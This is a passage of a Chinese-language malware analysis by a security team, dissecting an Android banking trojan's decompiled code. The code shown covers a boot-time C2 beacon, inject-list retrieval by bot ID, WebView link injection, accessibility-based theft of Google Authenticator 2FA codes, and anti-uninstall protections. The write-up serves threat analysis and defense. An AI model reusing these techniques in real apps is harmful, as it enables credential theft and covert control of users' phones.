????????????</intent-filter>
????????</receiver>

最高优先级，并且注意了HTC手机的私有权限

public?final?class?BootReceiver?extends?BroadcastReceiver?{
????@Override?//?android.content.BroadcastReceiver
????public?void?onReceive(Context?context,?Intent?intent)?{
????????Intrinsics.checkNotNullParameter(intent,?"intent");
????????if?(context?==?null)?{
????????????return;
????????}
????????try?{
????????????BuildersKt__Builders_commonKt.launch$default(GlobalScope.INSTANCE,?Dispatchers.getIO(),?null,?new?BootReceiver$onReceive$1(null),?2,?null);
????????????ServiceExtensionsKt.checkBackgroundService(context);
????????}?catch?(Exception?unused)?{
????????}
????}
}

依然是经典的检测后台权限，然后使用BuildersKt__Builders_commonKt发送一个存活命令

@Override?//?kotlin.coroutines.jvm.internal.BaseContinuationImpl
????public?final?Object?invokeSuspend(Object?obj)?{
????????Object?coroutine_suspended?=?IntrinsicsKt.getCOROUTINE_SUSPENDED();
????????int?i?=?this.label;
????????if?(i?==?0)?{
????????????ResultKt.throwOnFailure(obj);
????????????Pair[]?pairArr?=?{TuplesKt.to("text",?"system?restarted")};
????????????this.label?=?1;
????????????if?(new?Send(null,?"newsystemsms",?MapsKt.mutableMapOf(pairArr),?1,?null).execute(this)?==?coroutine_suspended)?{
????????????????return?coroutine_suspended;
????????????}
????????}?else?if?(i?!=?1)?{
????????????throw?new?IllegalStateException("call?to?'resume'?before?'invoke'?with?coroutine");
????????}?else?{
????????????ResultKt.throwOnFailure(obj);
????????}
????????return?Unit.INSTANCE;
????}

其它恶意行为

链接注入

public?final?class?GetInjectList?extends?BaseRequest<ArrayList<Inject>>?{
????private?final?String?reqMethod?=?"injectlist";

????@Override?//?com.fdjsfkas.kdjklslf.network.BaseRequest
????public?String?getReqMethod()?{
????????return?this.reqMethod;
????}

????@Override?//?com.fdjsfkas.kdjklslf.network.BaseRequest
????public?Object?execute(Continuation<??super?ArrayList<Inject>>?continuation)?{
????????if?(!getReqParams().containsKey("botid"))?{
????????????if?(Settings.Companion.getBotId().length()?>?0)?{
????????????????getReqParams().put("botid",?Settings.Companion.getBotId());
????????????}
????????}
????????String?str?=?Request.INSTANCE.get(Config.INSTANCE.getHost()?+?"/api/?method="?+?getReqMethod()?+?Typography.amp?+?Request.INSTANCE.urlEncode(getReqParams()));
????????Timber.d(Intrinsics.stringPlus("Received?",?str),?new?Object[0]);
????????try?{
????????????Object?fromJson?=?new?Gson().fromJson(new?JSONObject(str).getJSONArray("list").toString(),?(Class<Object>)?new?ArrayList().getClass());
????????????Intrinsics.checkNotNullExpressionValue(fromJson,?"{\n????????????val?jsonOb…()::class.java)\n????????}");
????????????return?(ArrayList)?fromJson;
????????}?catch?(Exception?unused)?{
????????????return?new?ArrayList();
????????}
????}
}

这里从服务器获取C2链接，botid作为请求字段，以区别不同的设备

@Override?//?kotlin.coroutines.jvm.internal.BaseContinuationImpl
????public?final?Object?invokeSuspend(Object?obj)?{
????????Object?coroutine_suspended?=?IntrinsicsKt.getCOROUTINE_SUSPENDED();
????????int?i?=?this.label;
????????if?(i?==?0)?{
????????????ResultKt.throwOnFailure(obj);
????????????this.label?=?1;
????????????obj?=?new?GetInjectList().execute(this);
????????????if?(obj?==?coroutine_suspended)?{
????????????????return?coroutine_suspended;
????????????}
????????}?else?if?(i?!=?1)?{
????????????throw?new?IllegalStateException("call?to?'resume'?before?'invoke'?with?coroutine");
????????}?else?{
????????????ResultKt.throwOnFailure(obj);
????????}
????????Settings?settings?=?this.$settings;
????????InjectList?injectList?=?new?InjectList();
????????injectList.addAll((ArrayList)?obj);
????????Unit?unit?=?Unit.INSTANCE;
????????settings.currentInjectList(injectList);
????????BaseExtensionsKt.syncInjects(this.$this_checkInjects,?this.$settings);
????????return?Unit.INSTANCE;
????}

调用了syncInjects方法，最终在BrowserActivity中执行了注入

@Override?//?android.app.Activity
????protected?void?onCreate(Bundle?bundle)?{
????????super.onCreate(bundle);
????????setContentView(R.layout.activity_web_view);
????????View?findViewById?=?findViewById(R.id.web_view);
????????Intrinsics.checkNotNullExpressionValue(findViewById,?"findViewById(R.id.web_view)");
????????WebView?webView?=?(WebView)?findViewById;
????????webView.getSettings().setJavaScriptEnabled(true);
????????webView.setLayerType(2,?null);
????????String?stringExtra?=?getIntent().getStringExtra("link");
????????final?Intent?intent?=?(Intent)?getIntent().getParcelableExtra("act");
????????webView.setWebViewClient(new?WebViewClient()?{?//?from?class:?com.fdjsfkas.kdjklslf.ui.activities.BrowserActivity$onCreate$1
????????????@Override?//?android.webkit.WebViewClient
????????????public?void?onPageStarted(WebView?webView2,?String?str,?Bitmap?bitmap)?{
????????????????Settings?settings;
????????????????Settings?settings2;
????????????????Settings?settings3;
????????????????if?(str?!=?null)?{
????????????????????int?i?=?0;
????????????????????if?(StringsKt.contains$default((CharSequence)?str,?(CharSequence)?"goto.php",?false,?2,?(Object)?null))?{
????????????????????????if?(BrowserActivity.Companion.getLastOpenedInject()?!=?null)?{
????????????????????????????settings?=?BrowserActivity.this.settings;
????????????????????????????InjectList?currentInjectList$default?=?Settings.currentInjectList$default(settings,?null,?1,?null);
????????????????????????????if?(currentInjectList$default?!=?null)?{
????????????????????????????????try?{
????????????????????????????????????int?size?=?currentInjectList$default.size();
????????????????????????????????????if?(size?>?0)?{
????????????????????????????????????????while?(true)?{
????????????????????????????????????????????int?i2?=?i?+?1;
????????????????????????????????????????????if?(Intrinsics.areEqual(currentInjectList$default.get(i).getPackage1(),?BrowserActivity.Companion.getLastOpenedInject()))?{
????????????????????????????????????????????????currentInjectList$default.remove((Object)?currentInjectList$default.get(i));
????????????????????????????????????????????}
????????????????????????????????????????????if?(i2?>=?size)?{
????????????????????????????????????????????????break;
????????????????????????????????????????????}
????????????????????????????????????????????i?=?i2;
????????????????????????????????????????}
????????????????????????????????????}
????????????????????????????????????settings2?=?BrowserActivity.this.settings;
????????????????????????????????????settings2.currentInjectList(currentInjectList$default);
????????????????????????????????????BrowserActivity.Companion.setLastOpenedInject(null);
????????????????????????????????????BrowserActivity?browserActivity?=?BrowserActivity.this;
????????????????????????????????????BrowserActivity?browserActivity2?=?browserActivity;
????????????????????????????????????settings3?=?browserActivity.settings;
????????????????????????????????????BaseExtensionsKt.syncInjects(browserActivity2,?settings3);
????????????????????????????????}?catch?(Exception?unused)?{
????????????????????????????????}
????????????????????????????}
????????????????????????}
????????????????????????Intent?intent2?=?new?Intent();
????????????????????????intent2.putExtra("act",?intent);
????????????????????????BrowserActivity.this.setResult(-1,?intent2);
????????????????????????BrowserActivity.this.finish();
????????????????????}
????????????????}
????????????????super.onPageStarted(webView2,?str,?bitmap);
????????????}
????????});
????????if?(stringExtra?!=?null)?{
????????????webView.loadUrl(stringExtra);
????????????AppKt.log$default(this,?"opened?inject?("?+?((Object)?lastOpenedInject)?+?')',?null,?Colors.INSTANCE.getGreen(),?2,?null);
????????}
????}

就是使用WebView加载了指定的链接来执行注入= =

2FA窃取

public?TwoFactor(Engine?engine)?{
????????super(engine);
????????Intrinsics.checkNotNullParameter(engine,?"engine");
????????this.triggers?=?CollectionsKt.listOf((Object[])?new?Trigger[]{new?Trigger.ByUIState(new?UIState("com.google.android.apps.authenticator2",?CollectionsKt.listOf("com.google.android.apps.authenticator.AuthenticatorActivity"))),?new?Trigger.ByCondition(new?TwoFactor$triggers$1(engine))});
????}

设置了触发条件

public?boolean?executeTaskOn(AccessibilityEvent?event)?{
????????Intrinsics.checkNotNullParameter(event,?"event");
????????StringBuilder?sb?=?new?StringBuilder();
????????try?{
????????????LegacyAccessibility.getAllChildNodeText$default(LegacyAccessibility.INSTANCE,?event.getSource(),?false,?new?TwoFactor$executeTaskOn$1(this,?sb),?2,?null);
????????}?catch?(Exception?e)?{
????????????AppKt.log$default(this,?"2FA?Err?"?+?ExceptionsKt.stackTraceToString(e)?+?"?plz?report?this?accident",?null,?"red",?2,?null);
????????}
????????AppKt.log$default(this,?Intrinsics.stringPlus("2FA?Codes?",?sb),?null,?"green",?2,?null);
????????this.settings.is2FARequested(false);
????????BuildersKt__Builders_commonKt.launch$default(CoroutineScopeKt.CoroutineScope(Dispatchers.getMain()),?null,?null,?new?TwoFactor$executeTaskOn$2(this,?null),?3,?null);
????????return?true;
????}

先执行了第一个子类，再执行第二个子类

?public?final?void?invoke2(AccessibilityNodeInfo?it,?AccessibilityNodeInfo?accessibilityNodeInfo)?{
????????CharSequence?text;
????????Intrinsics.checkNotNullParameter(it,?"it");
????????Pattern?pattern?=?this.this$0.getPattern();
????????CharSequence?text2?=?it.getText();
????????if?(text2?==?null)?{
????????}
????????if?(pattern.matcher(text2).matches())?{
????????????this.$codes.append(new?StringBuilder().append((Object)?((accessibilityNodeInfo?==?null?||?(text?=?accessibilityNodeInfo.getText())?==?null)???"null"?:?text)).append(':').append((Object)?it.getText()).append(',').toString());
????????}
????}

这里有个正则匹配，^[0-9]{3} [0-9]{3}$

卸载保护


包括重置保护，删除保护，软件信息保护，主屏幕应用选择保护和卸载保护

这些保护都是用了一系列触发器，比如要查看AppInfo时

public?boolean?executeTaskOn(AccessibilityEvent?event)?{
????????Intrinsics.checkNotNullParameter(event,?"event");
????????AppKt.log$default(this,?"accessibility?reset?protection",?null,?Colors.INSTANCE.getRed(),?2,?null);
????????BuildersKt__Builders_commonKt.launch$default(CoroutineScopeKt.CoroutineScope(Dispatchers.getMain()),?null,?null,?new?InfoProtection$executeTaskOn$1(this,?null),?3,?null);
????????BuildersKt__Builders_commonKt.launch$default(CoroutineScopeKt.CoroutineScope(Dispatchers.getMain()),?null,?null,?new?InfoProtection$executeTaskOn$2(this,?null),?3,?null);
????????return?true;
????}

首先点击返回键

public?final?Object?invokeSuspend(Object?obj)?{
????????IntrinsicsKt.getCOROUTINE_SUSPENDED();
????????if?(this.label?==?0)?{
????????????ResultKt.throwOnFailure(obj);
????????????AccessibilityExtensionsKt.back$default(this.this$0.getEngine().getBus(),?0,?0L,?3,?null);
????????????return?Unit.INSTANCE;
????????}
????????throw?new?IllegalStateException("call?to?'resume'?before?'invoke'?with?coroutine");
????}

然后Toast自己是安全的

public?final?Object?invokeSuspend(Object?obj)?{
????????IntrinsicsKt.getCOROUTINE_SUSPENDED();
????????if?(this.label?==?0)?{
????????????ResultKt.throwOnFailure(obj);
????????????Toast.makeText(this.this$0.getEngine().getContext(),?"This?app?is?secured",?0).show();
????????????return?Unit.INSTANCE;
????????}
????????throw?new?IllegalStateException("call?to?'resume'?before?'invoke'?with?coroutine");
????}

HomeProtection里面还发送了admin info

public?final?Object?invokeSuspend(Object?obj)?{
????????Object?coroutine_suspended?=?IntrinsicsKt.getCOROUTINE_SUSPENDED();
????????int?i?=?this.label;
????????if?(i?==?0)?{
????????????ResultKt.throwOnFailure(obj);
????????????Pair[]?pairArr?=?{TuplesKt.to("admin",?"1")};
????????????this.label?=?1;
????????????if?(new?Send(null,?"admininfo",?MapsKt.mutableMapOf(pairArr),?1,?null).execute(this)?==?coroutine_suspended)?{
????????????????return?coroutine_suspended;
????????????}
????????}?else?if?(i?!=?1)?{
????????????throw?new?IllegalStateException("call?to?'resume'?before?'invoke'?with?coroutine");
????????}?else?{
????????????ResultKt.throwOnFailure(obj);
????????}
????????return?Unit.INSTANCE;
????}

总结

该病毒实现了窃取双因子认证、链接注入、短信窃取等功能，但是一些传播功能还未实现，另外恶意行为过于明显，伪装不太够，应该是还在开发中。

防范方法

  1. 不要点击不明链接、下载安装不明APP

  2. 一旦APP有异常行为：例如本文开头的

参考

[1]?黑客骇入iCloud窃取裸照被判九年监禁 - 安全客，安全资讯平台

[2]?F5 Labs Investigates MaliBot

[3]?Manifest.Permission.ReorderTasks Field (Android) | Microsoft Docs

[4]?Calendar | Android Developers

[5]?Coroutines basics | Kotlin

end


招新小广告

ChaMd5?Venom?招收大佬入圈

新成立组IOT+工控+样本分析?长期招新

欢迎联系admin@chamd5.org




关注公众号：拾黑（shiheibook）了解更多

[广告]赞助链接：

四季很好，只要有你，文娱排行榜：https://www.yaopaiming.com/
让资讯触达的更精准有趣：https://www.0xu.cn/

*文章为作者独立观点，不代表 爱尖刀 立场
本文由 Chamd5安全团队发表，转载此文章须经作者同意，并请附上出处( 爱尖刀 )及本页链接。
原文链接 https://www.ijiandao.com/2b/baijia/435436.html
图库
Chamd5安全团队 Chamd5安全团队
公众号 关注网络尖刀微信公众号
随时掌握互联网精彩
赞助链接
百度热搜榜
排名 热点 搜索指数
iTrust
AiDeep Ued
关于我们 联系我们 升级日志 法律声明 广告服务 侵删通道
Copyright © 2021 K2CMS All rights reserved.
京ICP备14006288号